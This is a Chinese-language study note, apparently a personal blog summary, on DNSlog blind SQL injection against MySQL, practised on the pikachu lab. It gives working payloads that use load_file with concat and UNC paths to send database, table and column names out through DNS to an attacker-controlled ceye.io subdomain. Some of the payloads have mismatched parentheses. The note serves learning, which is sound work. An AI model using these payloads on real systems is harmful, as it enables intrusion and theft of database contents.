DNSlog注入
声明:DNSlog注入也是针对不回显的情况
1.原理:
攻击主机通过注入一个A网站网址,让目标主机触发网址的访问,将敏感信息携带到请求数据中
A网站记录下本次请求,在日志中就能看到目标主机的相关敏感数据了
由上图再次详细介绍其注入过程:
①注入操作
攻击者从攻击主机采用DNSLog注入手段,向目标主机注入一个A网站网址。这个注入过程通常是无回显的,也就是说,攻击者不会直接看到注入操作反映的结果。
②触发访问
目标主机会因为某些原因(例如恶意脚本、漏洞利用等)触发对注入网址的访问。在访问过程中,目标主机的敏感信息会被携带到请求数据中。
③数据记录与获取
当目标主机访问注入的A网站网址时,A网站会记录下这次请求。由于A网站开启了日志记录功能,攻击者就可以在A网站的日志中查看到目标主机的敏感数据。
2.条件:
①需要mysq用户具备读文件的权限,因为要借助到mysq的load_file读取文件的函数,权限不够的话,不能调用这个函数。其实只要mysq中配置项中开启了这个secure_file_priv配置,就可以通过sq语句来执行文件读写操作。
②目标mysq数据库服务器能够访问外网
其实load_file(不仅能够加载本地文件,同时也能对诸如Itwww.jaden.com这样的URL发起请求。这样的url我们称之为UNC路径,简单了解即可。
就借助load_file函数能够访问某个网址的特性,来进行DNSlog注入
注入语句如下:
and select load_file('\\\\xxx.xxxx.xxx\\xx');# 注: xxx.xxxx.xxx\\xx是某个网址(前面是4个斜杠,后面是2个斜杠或者前面可以是2个斜杠,后面是1个斜杠均可!!!)
3.涉及函数及可用网站:
load_file 函数是MySQL数据库中的一个函数,用于读取文件内容。
其基本语法是 load_file(file_path) ,其中 file_path 是要读取文件的路径。
DNSlog注入可用网站:
http://ceye.io/
http://www.dnslog.cn/
4.实操演示:
在这里,我以所听课的老师的演示为例进行简要说明:
以http://ceye.io/ 网站为例
先是在数据库中查询,如下图:
“.9fqiop.ceye.io”是用DNSlog注入手段所运用该网站网址
该查询语句是要读取jaden这个文件,NULL表示空,无回显
然后我们进入该网站的日志记录(DNS Query)中,可以看到其相关信息!
下面例子也是如此,其进行数据库查询,拼接读取
然后我们依然可以看到相关信息,在这里是获取了数据库名为pikachu 这个信息
然后我们在pikachu靶场上练习
Ⅰ.获取当前库名
获取当前库名(这是在数据库中进行DNSlog注入)
下面两个都可以:
select * from member where id=1 and (select load_file(concat('//',(select database()),'.9fqiop.ceye.io/abc')))
select * from member where id=1 and (select load_file(concat('//',(select database()),'.9fqiop.ceye.io/abc')))
在pikachu靶场中以数字型注入id=1为例:
然后抓包------放到Repeater中------修改信息为 id=1 and (select load_file(concat('//',(select database()),'.9fqiop.ceye.io/abc')))------重新发送------前端返回相关结果后,去网站日志记录中查看,即可看到此次查询涉及的敏感信息
如下:
查看日志记录,获取了数据库名为pikachu
Ⅱ.获取表名
id=1 and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database()) limit 0,1),'.9fqiop.ceye.io\abc'))
这里使用 information_schema 数据库来获取当前数据库中的表名。通过修改 limit 子句中的参数(eg:将0修改为1,获取第二个表名),可以逐个获取表名。
eg:
id=1 and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database()) limit 1,1),'.9fqiop.ceye.io\abc'))
注入过程及查看结果如下:
经查询,"httpinfo"为第一个表名
Ⅲ.获取字段名
id=1 and (select load_file(concat('//',(select column_name from information_schema.columns where table_schema=database() and table_name='member' limit 0,1),'.9fqiop.ceye.io\abc')))
同样也是修改limit后面的数字,将member表的字段名一个一个的取出来,也可以将table_name='member'中的member修改为其他表名,获取其他表名的字段名!
过程与上述获取库名和表名一致,在这里不在演示,大家也可尝试一下!
以上为个人在学习时的总结,如有错误,欢迎大家前来评论指正哦!!!